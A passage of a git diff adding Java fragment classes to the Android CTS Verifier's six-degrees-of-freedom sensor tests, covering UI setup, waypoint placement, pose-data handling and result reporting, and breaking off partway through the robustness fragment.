+import java.io.IOException;
+
+/**
+ * Abstract class that UI Fragments for each test inherit from,
+ */
+public abstract class BaseUiFragment extends Fragment implements BaseUiListener {
+    private static final String TAG = "BaseUiFragment";
+    protected static final long UI_UPDATE_DELAY = 200;
+
+    protected static final int DIALOG_FRAGMENT = 1;
+
+    protected Button mBtnPass;
+    protected Button mBtnInfo;
+    protected Button mBtnFail;
+    protected ImageButton mPlaceWaypointButton;
+
+    protected LinearLayout mLLCameraLayout;
+
+    protected TestActivity mActivity;
+
+    protected Handler mHandler;
+    protected Runnable mUIUpdateRunnable;
+
+    protected BaseRenderer mRenderer;
+
+    /**
+     * Called when this fragment is attached to an activity. Starts the test if the Pose service is
+     * ready.
+     */
+    @Override
+    public void onAttach(Activity context) {
+        super.onAttach(context);
+        mActivity = (TestActivity) getActivity();
+
+        if (mActivity.isPoseProviderReady()) {
+            onPoseProviderReady();
+        }
+    }
+
+    protected void initUIHandler(Runnable uiRunnable) {
+        mHandler = new Handler();
+        mUIUpdateRunnable = uiRunnable;
+        mHandler.postDelayed(mUIUpdateRunnable, UI_UPDATE_DELAY);
+    }
+
+    protected void setupButtons(View fragmentView, TestActivity.CTSTest currentPhase) {
+        final int phaseIndex = currentPhase.ordinal();
+        mBtnPass = (Button) fragmentView.findViewById(R.id.btnPass);
+        mBtnInfo = (Button) fragmentView.findViewById(R.id.btnInfo);
+        mBtnFail = (Button) fragmentView.findViewById(R.id.btnFail);
+
+        mBtnInfo.setOnClickListener(new View.OnClickListener() {
+            @Override
+            public void onClick(View view) {
+                AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
+
+                builder.setMessage(getResources().getStringArray(R.array.phase_descriptions)[phaseIndex])
+                        .setTitle(getResources().getStringArray(R.array.phase)[phaseIndex])
+                        .setPositiveButton(R.string.got_it, null);
+
+                AlertDialog dialog = builder.create();
+                dialog.show();
+            }
+        });
+
+        mBtnFail.setOnClickListener(new View.OnClickListener() {
+            @Override
+            public void onClick(View view) {
+                Intent resultIntent = getActivity().getIntent();
+                String report = "Couldn't create test report.";
+                try {
+                    report = mActivity.getTestReport().getContents();
+                } catch (IOException e) {
+                    Log.e(TAG, report);
+                }
+                resultIntent.putExtra(TestActivity.EXTRA_REPORT, report);
+                resultIntent.putExtra(TestActivity.EXTRA_RESULT_ID, StartActivity.ResultCode.FAILED);
+                getActivity().setResult(Activity.RESULT_OK, resultIntent);
+                getActivity().finish();
+            }
+        });
+    }
+
+    protected abstract void setupUILoop();
+
+    protected abstract void showInitialDialog();
+
+    protected String getObjectiveText(Manager.Lap lap, int waypointCount) {
+        String currentObjective = "";
+        int lapIndex = lap.ordinal();
+        if (lapIndex > 1) lapIndex = 1; // Text is same for indexes 1, 2, 3
+
+        switch (waypointCount) {
+            case 0:
+                currentObjective = getResources()
+                        .getStringArray(R.array.initial_waypoint)[lapIndex];
+                break;
+            case Manager.MAX_MARKER_NUMBER - 1:
+                currentObjective = getString(R.string.obj_return_to_initial_waypoint);
+                break;
+            case Manager.MAX_MARKER_NUMBER:
+                currentObjective = "";
+                mPlaceWaypointButton.setVisibility(View.INVISIBLE);
+                break;
+            default:
+                currentObjective = getResources()
+                        .getStringArray(R.array.next_waypoint)[lapIndex]
+                        .replace('0', Character.forDigit(waypointCount, 10));
+                break;
+        }
+
+        return currentObjective;
+    }
+
+    /**
+     * Nullify activity to avoid memory leak.
+     */
+    @Override
+    public void onDetach() {
+        super.onDetach();
+
+        mActivity = null;
+        mHandler = null;
+        mUIUpdateRunnable = null;
+    }
+
+    @Override
+    public void onDestroyUi() {
+        if (mRenderer != null) {
+            mRenderer.onDestroy();
+        }
+    }
+
+    @Override
+    public void onPause() {
+        super.onPause();
+        if (mRenderer != null) {
+            mRenderer.disconnectCamera();
+        }
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+        if (mRenderer != null) {
+            mRenderer.connectCamera(mActivity.getPoseProvider(), getActivity());
+        }
+    }
+
+    @Override
+    public void onPoseProviderReady() {
+        showInitialDialog();
+        setupUILoop();
+    }
+
+    /**
+     * Called when a waypoint has been successfully placed by user. Shows undo snackbar.
+     */
+    @Override
+    public void onWaypointPlaced() {
+        mPlaceWaypointButton.setVisibility(View.INVISIBLE);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Fragments/ComplexMovementFragment.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Fragments/ComplexMovementFragment.java
new file mode 100644
index 0000000..d919075
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Fragments/ComplexMovementFragment.java
@@ -0,0 +1,228 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Fragments;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.sensors.sixdof.BuildConfig;
+import com.android.cts.verifier.sensors.sixdof.Activities.StartActivity;
+import com.android.cts.verifier.sensors.sixdof.Activities.TestActivity;
+import com.android.cts.verifier.sensors.sixdof.Dialogs.ComplexMovementResultDialog;
+import com.android.cts.verifier.sensors.sixdof.Interfaces.ComplexMovementListener;
+import com.android.cts.verifier.sensors.sixdof.Renderer.ComplexMovementRenderer;
+import com.android.cts.verifier.sensors.sixdof.Utils.Manager;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointAreaCoveredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointDistanceException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointRingNotEnteredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointStartPointException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.ComplexMovementPath;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.Ring;
+import com.android.cts.verifier.sensors.sixdof.Utils.ResultObjects.ResultObject;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.opengl.GLSurfaceView;
+import android.os.Bundle;
+import android.app.AlertDialog;
+import android.util.Log;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.ImageButton;
+import android.widget.LinearLayout;
+import android.widget.TextView;
+import android.widget.Toast;
+
+import java.io.IOException;
+
+/**
+ * UI fragment for the third test.
+ */
+public class ComplexMovementFragment extends BaseUiFragment implements ComplexMovementListener {
+    private static final String TAG = "ComplexMovementFragment";
+
+    private TextView mTvObjective;
+    private TextView mTvRings;
+
+    /**
+     * Standard practice to have a static newInstance constructor. Used to pass in arguments to the
+     * fragment. We don't have any at the moment, but this is good structure for the future.
+     *
+     * @return a new Robustness test fragment.
+     */
+    public static ComplexMovementFragment newInstance() {
+        return new ComplexMovementFragment();
+    }
+
+    /**
+     * Called when the parent activity has been created. Adds the GLSurfaceView to the fragment
+     * layout.
+     */
+    @Override
+    public void onActivityCreated(Bundle savedInstanceState) {
+        super.onActivityCreated(savedInstanceState);
+
+        GLSurfaceView surfaceView = new GLSurfaceView(getActivity());
+        surfaceView.setEGLContextClientVersion(2);
+        mRenderer = new ComplexMovementRenderer(getActivity(), mActivity.getRings());
+        surfaceView.setRenderer(mRenderer);
+        mLLCameraLayout = (LinearLayout) getView().findViewById(R.id.llCamera);
+        mLLCameraLayout.addView(surfaceView);
+        Log.d(TAG, "Camera Preview add to layout");
+    }
+
+    /**
+     * Initialises all of the UI elements
+     */
+    @Override
+    public View onCreateView(LayoutInflater inflater, ViewGroup container,
+                             Bundle savedInstanceState) {
+        View view = inflater.inflate(R.layout.fragment_complex_movement, container, false);
+        getActivity().setTitle(getResources().getStringArray(R.array.phase)[TestActivity.CTSTest.COMPLEX_MOVEMENT.ordinal()]);
+
+        // Set up pass/info/fail buttons.
+        setupButtons(view, TestActivity.CTSTest.COMPLEX_MOVEMENT);
+
+        mPlaceWaypointButton = (ImageButton) view.findViewById(R.id.fabPlaceWaypoint);
+        mPlaceWaypointButton.setOnClickListener(new View.OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                try {
+                    mActivity.attemptWaypointPlacement();
+                } catch (WaypointAreaCoveredException e) {
+                    Toast.makeText(getActivity(),
+                            getString(R.string.error_area), Toast.LENGTH_SHORT).show();
+                } catch (WaypointDistanceException e) {
+                    Toast.makeText(getActivity(),
+                            getString(R.string.error_distance), Toast.LENGTH_SHORT).show();
+                } catch (WaypointStartPointException e) {
+                    Toast.makeText(getActivity(),
+                            getString(R.string.error_start_point), Toast.LENGTH_SHORT).show();
+                } catch (WaypointRingNotEnteredException e) {
+                    Toast.makeText(getActivity(),
+                            getString(R.string.error_rings_not_entered), Toast.LENGTH_SHORT).show();
+                }
+            }
+        });
+
+        mTvObjective = (TextView) view.findViewById(R.id.tvObjective);
+        mTvRings = (TextView) view.findViewById(R.id.tvRings);
+
+        return view;
+    }
+
+    /**
+     * Called after onCreateView. Starts listening for 6DoF events.
+     */
+    @Override
+    public void onViewCreated(View view, Bundle savedInstanceState) {
+        super.onViewCreated(view, savedInstanceState);
+        mActivity.listenFor6DofData(this);
+    }
+
+    @Override
+    protected void setupUILoop() {
+        Runnable runnable = new Runnable() {
+            @Override
+            public void run() {
+                if (mActivity == null || getActivity() == null) {
+                    return;
+                }
+
+                int waypointCount = mActivity.getUserGeneratedWaypoints(Manager.Lap.LAP_4).size();
+                mTvObjective.setText(getObjectiveText(Manager.Lap.LAP_4, waypointCount));
+
+                int ringCount = 0;
+                for (Ring ring : mActivity.getRings()) {
+                    if (ring.getPathNumber() == waypointCount && ring.isEntered()) {
+                        ringCount++;
+                    }
+                }
+
+                mTvRings.setText(String.format(getString(R.string.rings_entered),
+                        ringCount, ComplexMovementPath.RINGS_PER_PATH));
+
+                if (waypointCount < Manager.MAX_MARKER_NUMBER) {
+                    mPlaceWaypointButton.setVisibility(View.VISIBLE);
+                }
+
+                // Update the UI again in x milliseconds.
+                if (mHandler != null) {
+                    mHandler.postDelayed(this, UI_UPDATE_DELAY);
+                }
+            }
+        };
+
+        super.initUIHandler(runnable);
+    }
+
+    /**
+     * Shows initial instruction dialog
+     */
+    @Override
+    protected void showInitialDialog() {
+        AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
+
+        builder.setMessage(R.string.phase3_initial_message)
+                .setTitle(getResources().getStringArray(R.array.phase)[TestActivity.CTSTest.COMPLEX_MOVEMENT.ordinal()])
+                .setPositiveButton(R.string.got_it, null);
+
+        AlertDialog dialog = builder.create();
+        dialog.show();
+    }
+
+    @Override
+    public void onWaypointPlaced() {
+        super.onWaypointPlaced();
+        ((ComplexMovementRenderer) mRenderer).onWaypointPlaced(mActivity.getUserGeneratedWaypoints(Manager.Lap.LAP_4).size());
+    }
+
+    @Override
+    public void onRingEntered(Ring ring) {
+        ((ComplexMovementRenderer) mRenderer).onRingEntered(ring);
+    }
+
+    @Override
+    public void onResult(ResultObject result) {
+        ComplexMovementResultDialog dialog = ComplexMovementResultDialog.newInstance(result);
+        dialog.setTargetFragment(ComplexMovementFragment.this, DIALOG_FRAGMENT);
+        dialog.show(getActivity().getFragmentManager(), "ResultDialogFragment");
+        mPlaceWaypointButton.setVisibility(View.INVISIBLE);
+
+        if (result.hasPassed() || BuildConfig.DEBUG) {
+            mBtnPass.setEnabled(true);
+            mBtnPass.setOnClickListener(new View.OnClickListener() {
+                @Override
+                public void onClick(View view) {
+                    finishTest();
+                }
+            });
+        }
+    }
+
+    private void finishTest() {
+        Intent resultIntent = getActivity().getIntent();
+        String report = "Couldn't create test report.";
+        try {
+            report = mActivity.getTestReport().getContents();
+        } catch (IOException e) {
+            Log.e(TAG, report);
+        }
+        resultIntent.putExtra(TestActivity.EXTRA_REPORT, report);
+        resultIntent.putExtra(TestActivity.EXTRA_RESULT_ID, StartActivity.ResultCode.PASSED);
+        getActivity().setResult(Activity.RESULT_OK, resultIntent);
+        getActivity().finish();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Fragments/DataFragment.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Fragments/DataFragment.java
new file mode 100644
index 0000000..baa01f6
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Fragments/DataFragment.java
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Fragments;
+
+
+import com.android.cts.verifier.sensors.sixdof.Activities.TestActivity;
+import com.android.cts.verifier.sensors.sixdof.Utils.Manager;
+import com.android.cts.verifier.sensors.sixdof.Utils.TestReport;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointAreaCoveredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointDistanceException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointRingNotEnteredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointStartPointException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.Ring;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.Waypoint;
+import com.android.cts.verifier.sensors.sixdof.Utils.PoseProvider.AndroidPoseProvider;
+import com.android.cts.verifier.sensors.sixdof.Utils.PoseProvider.PoseData;
+import com.android.cts.verifier.sensors.sixdof.Utils.PoseProvider.PoseProvider;
+
+import android.app.Activity;
+import android.content.Context;
+import android.app.Fragment;
+
+import java.util.ArrayList;
+
+/**
+ * This currently deals with the pose data and what to do with it.
+ */
+public class DataFragment extends Fragment implements PoseProvider.PoseProviderListener {
+    private final static String TAG = "DataFragment";
+
+    private TestReport mTestReport;
+    private Manager mManager;
+
+    private PoseProvider mPoseProvider;
+    protected boolean mIsPoseProviderReady = false;
+
+    @Override
+    public void onStart() {
+        super.onStart();
+        mPoseProvider = new AndroidPoseProvider(getActivity(), this);
+        mPoseProvider.setup();
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        mPoseProvider = null;
+    }
+
+    @Override
+    public void onPause() {
+        super.onPause();
+        mPoseProvider.onStopPoseProviding();
+        mIsPoseProviderReady = false;
+    }
+
+    /**
+     * Start PoseProvider.
+     */
+    @Override
+    public void onSetupComplete() {
+        mPoseProvider.onStartPoseProviding();
+    }
+
+    @Override
+    public void onNewPoseData(PoseData newPoseData) {
+        if (!mIsPoseProviderReady) {
+            mIsPoseProviderReady = true;
+            mManager.onPoseProviderReady();
+        }
+
+        mManager.onNewPoseData(newPoseData);
+    }
+
+    /**
+     * Assign the listener when this fragment is attached to an activity.
+     *
+     * @param activity the activity that this fragment is attached to.
+     */
+    @Override
+    public void onAttach(Activity activity) {
+        super.onAttach(activity);
+        initManager(activity);
+    }
+
+    private void initManager(Context context) {
+        mTestReport = new TestReport(getActivity());
+        mManager = new Manager(mTestReport);
+        mManager.setupListeners(context);
+    }
+
+    /**
+     * Nullify the listener to avoid leaking the activity.
+     */
+    @Override
+    public void onDetach() {
+        super.onDetach();
+        mManager.stopListening();
+    }
+
+    /**
+     * @return PoseProvider object associated with these tests.
+     */
+    public PoseProvider getPoseProvider() {
+        return mPoseProvider;
+    }
+
+    /**
+     * @return true if we are connected to the pose provider.
+     */
+    public boolean isPoseProviderReady() {
+        return mIsPoseProviderReady;
+    }
+
+    /**
+     * Gets all the markers (user generated waypoints) for the specified phase.
+     *
+     * @param lap the lap of the test to get the markers from
+     * @return a list of the markers
+     */
+    public ArrayList<Waypoint> getUserGeneratedWaypoints(Manager.Lap lap) {
+        switch (lap) {
+            case LAP_1:
+                return mManager.getReferencePathMarkers();
+            case LAP_2:
+                return mManager.getTestPathMarkers();
+            case LAP_3:
+                return mManager.getRobustnessMarker();
+            case LAP_4:
+                return mManager.getComplexMovementTestMarkers();
+            default:
+                throw new AssertionError("Unrecognised Lap!", null);
+        }
+    }
+
+    /**
+     * Returns a reference to the mTestReport object.
+     */
+    public TestReport getTestReport() {
+        return mTestReport;
+    }
+
+    /**
+     * Initiates the adding of a waypoint and checks if the state of the current test need to be
+     * changed.
+     *
+     * @throws WaypointDistanceException    if the location is too close to another
+     * @throws WaypointAreaCoveredException if the area covered by the user is too little
+     * @throws WaypointStartPointException  if the location is not close enough to the start
+     */
+    public void onWaypointPlacementAttempt()
+            throws WaypointStartPointException, WaypointDistanceException,
+            WaypointAreaCoveredException, WaypointRingNotEnteredException {
+        synchronized (TestActivity.POSE_LOCK) {
+            mManager.addPoseDataToPath(
+                    mPoseProvider.getLatestPoseData().getTranslationAsFloats(), true);
+        }
+    }
+
+    /**
+     * Removes the last marker added in the current test phase.
+     */
+    public void undoWaypointPlacement() {
+        mManager.removeLastAddedMarker();
+    }
+
+    /**
+     * Returns the current phase of the test.
+     */
+    public Manager.Lap getLap() {
+        return mManager.getLap();
+    }
+
+    /**
+     * Sets the test status to executed.
+     */
+    public void testStarted() {
+        mTestReport.setTestState(TestReport.TestStatus.EXECUTED);
+    }
+
+    public void startTest(TestActivity.CTSTest newTest) {
+        switch (newTest) {
+            case ACCURACY:
+                mManager.startAccuracyTest();
+                break;
+            case ROBUSTNESS:
+                mManager.startRobustnessTest();
+                break;
+            case COMPLEX_MOVEMENT:
+                mManager.startComplexMovementTest();
+                break;
+            default:
+                throw new AssertionError("Test not recognised!");
+        }
+    }
+
+    public float getLatestDistanceData() {
+        return mManager.getRemainingPath();
+    }
+
+    public float getTimeRemaining() {
+        return mManager.getTimeRemaining();
+    }
+
+    public ArrayList<Ring> getRings() {
+        return mManager.getRings();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Fragments/PhaseStartFragment.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Fragments/PhaseStartFragment.java
new file mode 100644
index 0000000..2013c12
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Fragments/PhaseStartFragment.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Fragments;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.sensors.sixdof.Activities.TestActivity;
+
+import android.os.Bundle;
+import android.app.Fragment;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.Button;
+import android.widget.TextView;
+
+/**
+ * Provides the instructions for a particular phase before it starts.
+ */
+public class PhaseStartFragment extends Fragment {
+    // Identifier for setting and retrieving the phase this Fragment was designed for.
+    private static final String ARG_PHASE = "ArgPhase";
+
+    Button mBtnStart;
+    TextView mTvDesc;
+
+    TestActivity.CTSTest mPhase;
+    TestActivity mActivity;
+
+    public static PhaseStartFragment newInstance(TestActivity.CTSTest phase) {
+        PhaseStartFragment fragment = new PhaseStartFragment();
+        Bundle arguments = new Bundle();
+        arguments.putSerializable(ARG_PHASE, phase);
+        fragment.setArguments(arguments);
+
+        return fragment;
+    }
+
+    @Override
+    public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
+        View rootView = inflater.inflate(R.layout.fragment_start_phase, container, false);
+        mBtnStart = (Button) rootView.findViewById(R.id.btnStart);
+        mTvDesc = (TextView) rootView.findViewById(R.id.tvDesc);
+        mActivity = (TestActivity) getActivity();
+
+        mPhase = (TestActivity.CTSTest) getArguments().getSerializable(ARG_PHASE);
+
+        switch (mPhase) {
+            case ACCURACY:
+                mTvDesc.setText(getString(R.string.phase1_description));
+                getActivity().setTitle(getResources().getStringArray(R.array.phase)[TestActivity.CTSTest.ACCURACY.ordinal()]);
+                break;
+            case ROBUSTNESS:
+                mTvDesc.setText(getString(R.string.phase2_description));
+                getActivity().setTitle(getResources().getStringArray(R.array.phase)[TestActivity.CTSTest.ROBUSTNESS.ordinal()]);
+                break;
+            case COMPLEX_MOVEMENT:
+                mTvDesc.setText(getString(R.string.phase3_description));
+                getActivity().setTitle(getResources().getStringArray(R.array.phase)[TestActivity.CTSTest.COMPLEX_MOVEMENT.ordinal()]);
+                break;
+            default:
+                throw new AssertionError("Trying to start a test that doesn't exist");
+        }
+
+        mBtnStart.setOnClickListener(new View.OnClickListener() {
+            @Override
+            public void onClick(View view) {
+                mActivity.switchToTestFragment(mPhase);
+            }
+        });
+
+        return rootView;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Fragments/RobustnessFragment.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Fragments/RobustnessFragment.java
new file mode 100644
index 0000000..f7b089b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Fragments/RobustnessFragment.java
@@ -0,0 +1,243 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Fragments;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.sensors.sixdof.BuildConfig;
+import com.android.cts.verifier.sensors.sixdof.Activities.TestActivity;
+import com.android.cts.verifier.sensors.sixdof.Dialogs.RobustnessResultDialog;
+import com.android.cts.verifier.sensors.sixdof.Interfaces.RobustnessListener;
+import com.android.cts.verifier.sensors.sixdof.Renderer.RobustnessRenderer;
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.Colour;
+import com.android.cts.verifier.sensors.sixdof.Utils.Manager;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointAreaCoveredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointDistanceException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointRingNotEnteredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointStartPointException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.RotationData;
+import com.android.cts.verifier.sensors.sixdof.Utils.ResultObjects.ResultObject;
+
+import android.app.Activity;
+import android.opengl.GLSurfaceView;
+import android.os.Bundle;
+import android.app.AlertDialog;
+import android.util.Log;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.ImageButton;
+import android.widget.LinearLayout;
+import android.widget.TextView;
+import android.widget.Toast;
+
+/**
+ * UI fragment for the second test.
+ */
+public class RobustnessFragment extends BaseUiFragment implements RobustnessListener {
+    private static final String TAG = "RobustnessFragment";
+    private static final Object TIMER_LOCK = new Object();
+
+    private TextView mTvTime;
+    private TextView mTvPassColour;
+    private TextView mTvObjective;
+
+    private boolean mIsPassing = false;
+    private boolean mResultGiven = false;
+
+    /**
+     * Standard practice to have a static newInstance constructor. Used to pass in arguments to the
+     * fragment. We don't have any at the moment, but this is good structure for the future.
+     *
+     * @return a new Robustness test fragment.
+     */
+    public static RobustnessFragment newInstance() {
+        RobustnessFragment fragment = new RobustnessFragment();
+        return fragment;
+    }
+
+    /**
+     * Called when the parent activity has been created. Adds the GLSurfaceView to the fragment
+     * layout.
+     */
+    @Override
+    public void onActivityCreated(Bundle savedInstanceState) {
+        super.onActivityCreated(savedInstanceState);
+
+        GLSurfaceView surfaceView = new GLSurfaceView(getActivity());
+        surfaceView.setEGLContextClientVersion(2);
+        mRenderer = new RobustnessRenderer(getActivity());
+        surfaceView.setRenderer(mRenderer);
+        mLLCameraLayout = (LinearLayout) getView().findViewById(R.id.llCamera);
+        mLLCameraLayout.addView(surfaceView);
+        Log.d(TAG, "Camera Preview add to layout");
+    }
+
+    /**
+     * Initialises all of the UI elements.
+     */
+    @Override
+    public View onCreateView(LayoutInflater inflater, ViewGroup container,
+                             Bundle savedInstanceState) {
+        View view = inflater.inflate(R.layout.fragment_robustness, container, false);
+        getActivity().setTitle(getResources().getStringArray(R.array.phase)[TestActivity.CTSTest.ROBUSTNESS.ordinal()]);
+
+        // Set up pass/info/fail buttons
+        setupButtons(view, TestActivity.CTSTest.ROBUSTNESS);
+
+        mPlaceWaypointButton = (ImageButton) view.findViewById(R.id.fabPlaceWaypoint);
+        mPlaceWaypointButton.setOnClickListener(new View.OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                try {
+                    mActivity.attemptWaypointPlacement();
+                } catch (WaypointDistanceException e) {
+                    Toast.makeText(getActivity(),
+                            getString(R.string.error_distance), Toast.LENGTH_SHORT).show();
+                } catch (WaypointAreaCoveredException e) {
+                    Toast.makeText(getActivity(),
+                            getString(R.string.error_area), Toast.LENGTH_SHORT).show();
+                } catch (WaypointStartPointException e) {
+                    Toast.makeText(getActivity(),
+                            getString(R.string.error_start_point), Toast.LENGTH_SHORT).show();
+                } catch (WaypointRingNotEnteredException e) {
+                    throw new AssertionError(
+                            "WaypointRingNotEnteredException when not in 3rd test", e);
+                }
+            }
+        });
+
+        mTvTime = (TextView) view.findViewById(R.id.tvTimer);
+        mTvPassColour = (TextView) view.findViewById(R.id.tvPassColour);
+        mTvObjective = (TextView) view.findViewById(R.id.tvObjective);
+
+        return view;
+    }
+
+    /**
+     * Called after onCreateView. Starts listening for 6DoF events.
+     */
+    @Override
+    public void onViewCreated(View view, Bundle savedInstanceState) {
+        super.onViewCreated(view, savedInstanceState);
+        mActivity.listenFor6DofData(this);
+    }
+
+    @Override
+    protected void setupUILoop() {
+        Runnable runnable = new Runnable() {
+            @Override
+            public void run() {
+                if (mActivity == null || getActivity() == null) {
+                    return;
+                }
+
+                String stringTimeRemaining;
+                String decimalTimeRemaining = (mActivity.getTimeRemaining() / 1000f) + "";
+                synchronized (TIMER_LOCK) {
+                    stringTimeRemaining = String.format(getString(R.string.time_remaining), decimalTimeRemaining);
+                }
+
+                synchronized (TIMER_LOCK) {
+                    if (mIsPassing) {
+                        mTvPassColour.setBackgroundColor(getResources().getColor(R.color.green));
+                    } else {
+                        mTvPassColour.setBackgroundColor(getResources().getColor(R.color.red));
+                    }
+                }
+
+                int waypointCount = mActivity.getUserGeneratedWaypoints(Manager.Lap.LAP_3).size();
+                mTvObjective.setText(getObjectiveText(Manager.Lap.LAP_3, waypointCount));
+
+                if (waypointCount < Manager.MAX_MARKER_NUMBER && !mResultGiven) {
+                    mPlaceWaypointButton.setVisibility(View.VISIBLE);
+                    mTvTime.setText(stringTimeRemaining);
+                } else {
+                    mTvTime.setText("");
+                }
+
+                //Update the UI again in x milliseconds.
+                if (mHandler != null) {
+                    mHandler.postDelayed(this, UI_UPDATE_DELAY);
+                }
+            }
+        };
+
+        super.initUIHandler(runnable);
+    }
+
+    /**
+     * Shows initial instruction dialog.
+     */
+    @Override
+    protected void showInitialDialog() {
+        AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
+
+        builder.setMessage(R.string.phase2_initial_message)
+                .setTitle(getResources().getStringArray(R.array.phase)[TestActivity.CTSTest.ROBUSTNESS.ordinal()])
+                .setPositiveButton(R.string.got_it, null);
+
+        AlertDialog dialog = builder.create();
+        dialog.show();
+    }
+
+    @Override
+    public void onResult(final ResultObject result) {
+        getActivity().runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mResultGiven = true;
+                RobustnessResultDialog dialog = RobustnessResultDialog.newInstance(result);
+                dialog.setTargetFragment(RobustnessFragment.this, DIALOG_FRAGMENT);
+                dialog.show(getActivity().getFragmentManager(), "ResultDialogFragment");
+                mPlaceWaypointButton.setVisibility(View.INVISIBLE);
+
+                if (result.hasPassed() || BuildConfig.DEBUG) {
+                    mBtnPass.setEnabled(true);
+                    mBtnPass.setOnClickListener(new View.OnClickListener() {
+                        @Override
+                        public void onClick(View view) {
+                            onReadyForPhase3();
+                        }
+                    });
+                }
+            }
+        });
+    }
+
+    private void onReadyForPhase3() {
+        mActivity.switchToStartFragment(TestActivity.CTSTest.COMPLEX_MOVEMENT);
+    }
+
+    @Override
+    public void onNewRotationData(RotationData data) {
+        synchronized (TIMER_LOCK) {
+            mIsPassing = data.getRotationTestState();
+        }
+
+        if (mRenderer != null) {
+            if (data.getRotationTestState()) {
+                ((RobustnessRenderer) mRenderer).setLineColor(Colour.GREEN);
+            } else {
+                ((RobustnessRenderer) mRenderer).setLineColor(Colour.RED);
+            }
+
